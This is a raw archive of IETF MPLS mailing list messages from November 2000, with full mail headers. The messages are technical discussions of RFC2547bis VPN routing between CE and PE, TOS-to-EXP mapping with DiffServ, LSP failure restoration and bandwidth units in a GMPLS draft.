From owner-mpls@UU.NET Wed Nov 1 04:44:42 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA04064 for ; Wed, 1 Nov 2000 04:44:41 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnkg06570; Wed, 1 Nov 2000 09:43:58 GMT Received: by mail-control.mail.uu.net id QQjnkg21021 for mpls-outgoing; Wed, 1 Nov 2000 09:43:37 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnkg21016 for ; Wed, 1 Nov 2000 09:43:34 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnkg24496 for ; Wed, 1 Nov 2000 09:43:23 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnkg05151 for ; Wed, 1 Nov 2000 09:43:22 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id EAA13692 for mpls@uu.net; Wed, 1 Nov 2000 04:43:21 -0500 (EST) Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnkg20993 for ; Wed, 1 Nov 2000 09:42:48 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnkg06800 for ; Wed, 1 Nov 2000 09:42:20 GMT Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjnkg29474 for ; Wed, 1 Nov 2000 09:42:19 GMT Received: from krakow.cisco.com (krakow.cisco.com [171.69.71.26]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id BAA12832; Wed, 1 Nov 2000 01:42:19 -0800 (PST) Received: from cisco.com (rraszuk-dsl5.cisco.com [10.19.31.94]) by krakow.cisco.com (8.8.8-Cisco List Logging/CISCO.WS.1.2) with ESMTP id BAA26301; Wed, 1 Nov 2000 01:42:17 -0800 (PST) Message-ID: <39FFE6BF.2F87150E@cisco.com> Date: Wed, 01 Nov 2000 01:47:43 -0800 From: Robert Raszuk Organization: Signature: http://www.employees.org/~raszuk/sig/ X-Mailer: Mozilla 4.73 [en] (Windows NT 5.0; U) X-Accept-Language: en MIME-Version: 1.0 To: Rajesh Saluja CC: Wayne , mpls@UU.NET Subject: Re: Route Exchange between CE and PE References: <009101c04255$d7fd02b0$48041bac@jnpr.net> <39FE68F6.6A150260@cisco.com> <39FEEBF3.AEF042C0@nortelnetworks.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hi Rajesh, The advertisements are done based on what is in the routing table. The routes are inserted into the routing table by BGP. Sure you can think of using RIP "shortcuts" and import/export routes by rip by itself but soon you will see that to manage all of possible combinations of those shortcuts will be just extremely messy form the implementation perspecitve !!! In fact what you proposing/asking about is implementation detail internal to the box. R. > Rajesh Saluja wrote: > > Robert Raszuk wrote: > > > > Wayne wrote: > > > > > > Hi, > > > > > > I am reading the RFC2547bis and came up with a question for route > > > exchange between the CE and PE. Suppose there are 2 CEs belongs to > > > different VRFs and connect to the same PE. RIP is used to exchange > > > routing. Though there is 2 different VRFs in the PE, would the RIP > > > process in it re-advertise the learned routes to the other CE in > > > another VPN? > > > > Not really. RIP on PE-CE1 would be isolated by implementation with the > > RIP PE-CE2. Re-advertising or inter-vrf importing is done via bgp based > > on the ext comunities values. > > > > > > In the above example, If these two VRFs have at least one common VPN, > shouldn't RIP readvertise the routes learnt from one CE to other CE? > > Thanks, > Rajesh From owner-mpls@UU.NET Wed Nov 1 05:41:55 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA28447 for ; Wed, 1 Nov 2000 05:41:55 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnkk21456; Wed, 1 Nov 2000 10:41:30 GMT Received: by mail-control.mail.uu.net id QQjnkk05911 for mpls-outgoing; Wed, 1 Nov 2000 10:40:57 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnkk05906 for ; Wed, 1 Nov 2000 10:40:42 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnkk29972 for ; Wed, 1 Nov 2000 10:40:19 GMT Received: from mailhub.fokus.gmd.de by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailhub.fokus.gmd.de [193.174.154.14]) id QQjnkk19634 for ; Wed, 1 Nov 2000 10:40:19 GMT Received: from dumbo.fokus.gmd.de (dumbo [193.175.132.239]) by mailhub.fokus.gmd.de (8.8.8/8.8.8) with ESMTP id LAA21717; Wed, 1 Nov 2000 11:40:16 +0100 (MET) Received: (from mis@localhost) by dumbo.fokus.gmd.de (8.8.8/8.8.8) id LAA10810; Wed, 1 Nov 2000 11:40:13 +0100 (MET) Date: Wed, 1 Nov 2000 11:40:13 +0100 (MET) From: Michael Smirnov Message-Id: <200011011040.LAA10810@dumbo.fokus.gmd.de> To: mpls@UU.NET, bevsmith@cisco.com Subject: Re: Help Needed with MPLS Project X-Sun-Charset: US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Could we please live without .doc files as attachments? From owner-mpls@UU.NET Wed Nov 1 09:18:45 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA07527 for ; Wed, 1 Nov 2000 09:18:45 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnkz28665; Wed, 1 Nov 2000 14:18:02 GMT Received: by mail-control.mail.uu.net id QQjnkz07807 for mpls-outgoing; Wed, 1 Nov 2000 14:17:31 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjnkz07798 for ; Wed, 1 Nov 2000 14:17:29 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnkz08844 for ; Wed, 1 Nov 2000 14:16:53 GMT Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjnkz23146 for ; Wed, 1 Nov 2000 14:16:52 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id GAA24531 for ; Wed, 1 Nov 2000 06:16:52 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id JAA15943 for mpls@uu.net; Wed, 1 Nov 2000 09:16:50 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnkj05004 for ; Wed, 1 Nov 2000 10:20:43 GMT Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnkj17965 for ; Wed, 1 Nov 2000 10:20:41 GMT Received: from infres.enst.fr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: infres.enst.fr [137.194.160.3]) id QQjnkj27563 for ; Wed, 1 Nov 2000 10:20:41 GMT Received: from esmeralda.enst.fr (esmeralda.enst.fr [137.194.160.71]) by infres.enst.fr (Postfix) with ESMTP id EC35B45422; Wed, 1 Nov 2000 11:20:40 +0100 (MET) Received: from localhost (kuri@localhost) by esmeralda.enst.fr (8.9.3+Sun/8.9.1) with SMTP id LAA15185; Wed, 1 Nov 2000 11:20:40 +0100 (MET) Date: Wed, 1 Nov 2000 11:20:40 +0100 (MET) From: Josue Kuri To: Sung-eok Jeon Cc: mpls@UU.NET Subject: Re: Mapping TOS field onto EXP field? In-Reply-To: <200010311453.JAA25725@acmez.gatech.edu> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Look at: http://www.ietf.org/internet-drafts/draft-ietf-mpls-diff-ext-07.txt > > Have you tried to combine DiffServ and MPLS ? > > Now we want to do that but I don't know how to map TOS of IP > onto EXP field of MPLS. > We used ds-2.2.10(? I am not sure if it is the correct name) > for DiffServ implementation and > linux-mpls-ldp.pre7-0.200 for MPLS implementation. > > If you have some experience, > Please tell me something. > > thanks in advance, > > Jeon > > -- Josue Kuri ENST 46, rue Barrault 75634 Paris CEDEX 13 FRANCE Tel: (+33) 1.45.81.75.70 From owner-mpls@UU.NET Wed Nov 1 10:10:11 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA22295 for ; Wed, 1 Nov 2000 10:10:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnlc11283; Wed, 1 Nov 2000 15:09:47 GMT Received: by mail-control.mail.uu.net id QQjnlc23404 for mpls-outgoing; Wed, 1 Nov 2000 15:09:12 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnlc23346 for ; Wed, 1 Nov 2000 15:09:05 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnlc05668 for ; Wed, 1 Nov 2000 15:08:51 GMT Received: from pooh.watersprings.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mokugyo.watersprings.org [211.130.20.218]) id QQjnlc08279 for ; Wed, 1 Nov 2000 15:08:50 GMT Received: from localhost by pooh.watersprings.org (8.8.7/2.8Wb) id PAA03842; Wed, 1 Nov 2000 15:10:10 GMT From: Noritoshi Demizu To: mpls@UU.NET Subject: "Multi Layer Routing" site has been moved. X-Mailer: Mew version 1.69 on Emacs 19.28.1 / Mule 2.3 Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20001102001009F.demizu@dd.iij4u.or.jp> Date: Thu, 02 Nov 2000 00:10:09 +0900 X-Dispatcher: impost version 0.99i (Apr. 6, 1997) Lines: 12 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Dear all, "Multi Layer Routing" site has been moved. This is an archive site of MPLS related internet-drafts and RFCs with some links. New URL: http://www.watersprings.org/links/mlr/ Old URL: http://infonet.aist-nara.ac.jp/member/nori-d/mlr/ Please update your bookmarks and links. Thank you. Best Regards, Noritoshi Demizu From owner-mpls@UU.NET Wed Nov 1 11:09:29 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA09405 for ; Wed, 1 Nov 2000 11:09:29 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnlg03286; Wed, 1 Nov 2000 16:09:01 GMT Received: by mail-control.mail.uu.net id QQjnlg10187 for mpls-outgoing; Wed, 1 Nov 2000 16:08:18 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnlg10173 for ; Wed, 1 Nov 2000 16:08:07 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnlg03087 for ; Wed, 1 Nov 2000 16:07:57 GMT Received: from mail.hamdard.net.pk by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjnlg08589 for ; Wed, 1 Nov 2000 16:07:55 GMT Received: from faisal-s ([203.135.57.139]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id VAA18833 for ; Wed, 1 Nov 2000 21:07:02 +0500 Message-ID: <004a01c0441e$37f6c240$f03987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: Some Help Date: Wed, 1 Nov 2000 21:10:12 +0500 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk Content-Transfer-Encoding: 7bit Hello friends, I am new to this list. Actually i am working on my thesis for MS which consists of a research on MPLS. As a thesis must contain some core research work, i have joined this list so that if anyone is conducting some research in some one new areas of MPLS, i would like to help them. This would on one side help me in my thesis and on the other hand help the group of ppl in their work. I hope i have not opted for a wrong place for help. PS: Currently i have studied the basics of MPLS, QOS using TE in MPLS networks, Extended RSVP for TE in MPLS, The label field of MPLS (in comparison to the Flow-Label field of IPv6). Regards, --------- Faisal S. Naik Senior Network Engineer, Hamdard Education Network, Hamdard University, Karachi. Ph: (92)-021-4383986-7 From owner-mpls@UU.NET Wed Nov 1 11:12:03 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA10259 for ; Wed, 1 Nov 2000 11:12:02 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnlg14004; Wed, 1 Nov 2000 16:11:35 GMT Received: by mail-control.mail.uu.net id QQjnlg10433 for mpls-outgoing; Wed, 1 Nov 2000 16:11:07 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnlg10418 for ; Wed, 1 Nov 2000 16:11:05 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnlg02502 for ; Wed, 1 Nov 2000 16:08:43 GMT Received: from workhorse.fictitious.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjnlg02708 for ; Wed, 1 Nov 2000 16:08:40 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id LAA26148; Wed, 1 Nov 2000 11:07:18 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011011607.LAA26148@workhorse.fictitious.org> To: "Charles Smith" cc: mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: LSP failure detection In-reply-to: Your message of "Tue, 24 Oct 2000 01:09:53 GMT." Date: Wed, 01 Nov 2000 11:07:18 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message , "Charles Smith" writes: > MPLS list: > > Can someone please explain the mechanisms involved to detect a node or link > failure within a particular LSP? How can MPLS as a technology guarantee < 1 > second LSP failure restoration (contrast to SONET)? I need to understand > exactly how a failure is detected, how the backup path is activated or how > fast re-route directs the LSP around the link or node failure. > > I am just a marketing guy who has read the drafts and still needs the > engineers to explain the concepts :-) > > Cheers. > > Chas MPLS is not a link layer. MPLS typically runs over POS (PPP over SONET). In this case you have linear SONET, no protection, but you have the capability to detect failure. PPP can also in principle provide LQM but in practice no one offers this (yet) because it requires (feasible but non-trivial) hardware support to be accurate. Note that if you run MPLS over 1GbE or 10GbE or other link layer then you lose the SONET failure detection. If you don't have link layer notification of failure then you have IGP hello processing and RSVP refresh, both of which are slow. The second part of the two part problem is completing restoration after an error is detected. For some implementations of link bundling, the bundle of N links now has N-1 capacity and 1) usually no immediate restoration is needed, the loss of capacity is signaled and any ingress may opt to do a minimally disruptive reroute (using make-before-break there is no loss but delay discontinuity and a possible brief period of reordering) or 2) if capacity of N-1 is insufficient the lowest priority LSP (highest numeric setup priority) are preempted. Here you have 1) local-protect as an MPLS feature where immediate restoration is initiated at the point of failure and the local-protect bit is dropped in the RESV to indicate that protection is no longer available because the restoration path is being used, 2) PathError messages and IGP adjacency loss sent as feedback to the ingress if local-protect is not in use. The ingress, having received PathError can use a precomputed and presignaled backup if this feature is enabled. The backup should be available if it was disjoint and SRLG information was accurate. IGP adjacency loss indicates what link is at fault and is used if either there was no precomputed backup or the SRLG information was not accurate and the backup went down simultaneously. Curtis From owner-mpls@UU.NET Wed Nov 1 11:37:07 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA17569 for ; Wed, 1 Nov 2000 11:37:07 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnli21884; Wed, 1 Nov 2000 16:36:36 GMT Received: by mail-control.mail.uu.net id QQjnli12522 for mpls-outgoing; Wed, 1 Nov 2000 16:36:02 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnli12484 for ; Wed, 1 Nov 2000 16:35:46 GMT Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnli18973 for ; Wed, 1 Nov 2000 16:34:27 GMT Received: from sj-msg-core-1.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11]) id QQjnli15069 for ; Wed, 1 Nov 2000 16:34:27 GMT Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50]) by sj-msg-core-1.cisco.com (8.9.3/8.9.1) with ESMTP id IAA23480 for ; Wed, 1 Nov 2000 08:34:27 -0800 (PST) Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id LAA16534 for mpls@uu.net; Wed, 1 Nov 2000 11:34:25 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnlg10192 for ; Wed, 1 Nov 2000 16:08:18 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnlg01411 for ; Wed, 1 Nov 2000 16:07:15 GMT Received: from mail.hamdard.net.pk by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: [203.135.57.5]) id QQjnlg00686 for ; Wed, 1 Nov 2000 16:07:13 GMT Received: from faisal-s ([203.135.57.139]) by mail.hamdard.net.pk (8.9.3/8.9.3) with SMTP id VAA18829; Wed, 1 Nov 2000 21:06:19 +0500 Message-ID: <004201c0441e$1e64bd00$f03987cb@faisal-s> From: "Faisal S. Naik" To: "mpls uunet" Subject: Some Help Date: Wed, 1 Nov 2000 21:09:29 +0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_003F_01C04448.073AC500" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 4.72.3110.1 X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3 Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_003F_01C04448.073AC500 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello friends, I am new to this list. Actually i am working on my thesis for MS which = consists of a research on MPLS. As a thesis must contain some core = research work, i have joined this list so that if anyone is conducting = some research in some one new areas of MPLS, i would like to help them. This would on one side help me in my thesis and on the other hand help = the group of ppl in their work. I hope i have not opted for a wrong place for help. PS: Currently i have studied the basics of MPLS, QOS using TE in MPLS = networks, Extended RSVP for TE in MPLS, The label field of MPLS (in = comparison to the Flow-Label field of IPv6). Regards, --------- Faisal S. Naik Senior Network Engineer, Hamdard Education Network, Hamdard University, Karachi. Ph: (92)-021-4383986-7 ------=_NextPart_000_003F_01C04448.073AC500 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello = friends,
I am new to this list. Actually i am = working on=20 my thesis for MS which consists of a research on MPLS. As a thesis must = contain=20 some core research work, i have joined this list so that if anyone is = conducting=20 some research in some one new areas of MPLS, i would like to help=20 them.
This would on one side help me in my = thesis and=20 on the other hand help the group of ppl in their work.
I hope i have not opted for a wrong = place for=20 help.
PS: Currently i have studied the = basics of MPLS,=20 QOS using TE in MPLS networks, Extended RSVP for TE in MPLS, The label = field of=20 MPLS (in comparison to the Flow-Label field of IPv6).
 
Regards,
---------
Faisal = S.=20 Naik
Senior Network Engineer,
Hamdard Education = Network,
Hamdard=20 University,
Karachi.
Ph: = (92)-021-4383986-7
------=_NextPart_000_003F_01C04448.073AC500-- From owner-mpls@UU.NET Wed Nov 1 15:37:47 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id PAA20524 for ; Wed, 1 Nov 2000 15:37:47 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnly04587; Wed, 1 Nov 2000 20:37:17 GMT Received: by mail-control.mail.uu.net id QQjnly19506 for mpls-outgoing; Wed, 1 Nov 2000 20:36:46 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjnly19500 for ; Wed, 1 Nov 2000 20:36:44 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnly24030 for ; Wed, 1 Nov 2000 20:34:50 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnly27803 for ; Wed, 1 Nov 2000 20:34:50 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id PAA27320 for mpls@uu.net; Wed, 1 Nov 2000 15:34:49 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnly19291 for ; Wed, 1 Nov 2000 20:34:08 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjnly09162 for ; Wed, 1 Nov 2000 20:33:30 GMT Received: from funnel.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: funnel.cisco.com [161.44.131.24]) id QQjnly27587 for ; Wed, 1 Nov 2000 20:33:29 GMT Received: from lir.cisco.com (lir-hme1.cisco.com [171.69.209.57]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA11276; Wed, 1 Nov 2000 15:33:28 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id PAA04446; Wed, 1 Nov 2000 15:33:28 -0500 (EST) Message-Id: <200011012033.PAA04446@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: "Hal Sandick" cc: Charles Smith , mpls@UU.NET, swallow@cisco.com Subject: Re: Help Needed with MPLS Project In-reply-to: Your message of "Tue, 31 Oct 2000 11:51:16 EST." <39FEF884.73B54046@nortelnetworks.com> Date: Wed, 01 Nov 2000 15:33:28 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk > But somewhat entertaining ;-) Not for all of us. Beverly is new to Cisco. She's been made aware of our mail use policy. ...George ================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Wed Nov 1 16:57:39 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA10830 for ; Wed, 1 Nov 2000 16:57:38 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnmd05845; Wed, 1 Nov 2000 21:57:00 GMT Received: by mail-control.mail.uu.net id QQjnmd08825 for mpls-outgoing; Wed, 1 Nov 2000 21:56:25 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjnmd08812 for ; Wed, 1 Nov 2000 21:56:12 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjnmd29105 for ; Wed, 1 Nov 2000 21:55:47 GMT Received: from workhorse.fictitious.org by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjnmd06911 for ; Wed, 1 Nov 2000 21:55:46 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id QAA28554; Wed, 1 Nov 2000 16:54:17 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011012154.QAA28554@workhorse.fictitious.org> To: "Arvind, K" cc: "'mpls@uu.net'" Reply-To: curtis@avici.com Subject: Re: Bandwidth encoding in draft-ietf-mpls-generalized-signaling-0 0.txt In-reply-to: Your message of "Fri, 27 Oct 2000 12:21:19 EDT." <6B190B34070BD411ACA000B0D0214E5614F26C@newman.tenornet.com> Date: Wed, 01 Nov 2000 16:54:17 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message <6B190B34070BD411ACA000B0D0214E5614F26C@newman.tenornet.com>, "Arvin d, K" writes: > Attached is the output of a little C program that dumps floating point > values in hex (unsigned long l = *(unsigned long *)&f). It confirms my > observation that the encodings provided assume units of bits/sec rather than > bytes/sec, and therefore conflict with the units specified earlier in the > draft. > > Regards, > Arvind The authors recieved a request (from me in private email, maybe others made the same request) to make the units bytes/sec to be consistent with the units used everywhere else in ISIS and OSPF TE. Apparently this request was honored and the constants were not changed. Nice observation. Curtis From owner-mpls@UU.NET Wed Nov 1 17:22:53 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA16993 for ; Wed, 1 Nov 2000 17:22:53 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjnmf13643; Wed, 1 Nov 2000 22:22:36 GMT Received: by mail-control.mail.uu.net id QQjnmf22969 for mpls-outgoing; Wed, 1 Nov 2000 22:22:02 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjnmf22960 for ; Wed, 1 Nov 2000 22:21:59 GMT Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjnmf06309 for ; Wed, 1 Nov 2000 22:20:56 GMT Received: from pilgrim.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjnmf11239 for ; Wed, 1 Nov 2000 22:20:55 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id RAA12584 for mpls@uu.net; Wed, 1 Nov 2000 17:20:55 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net 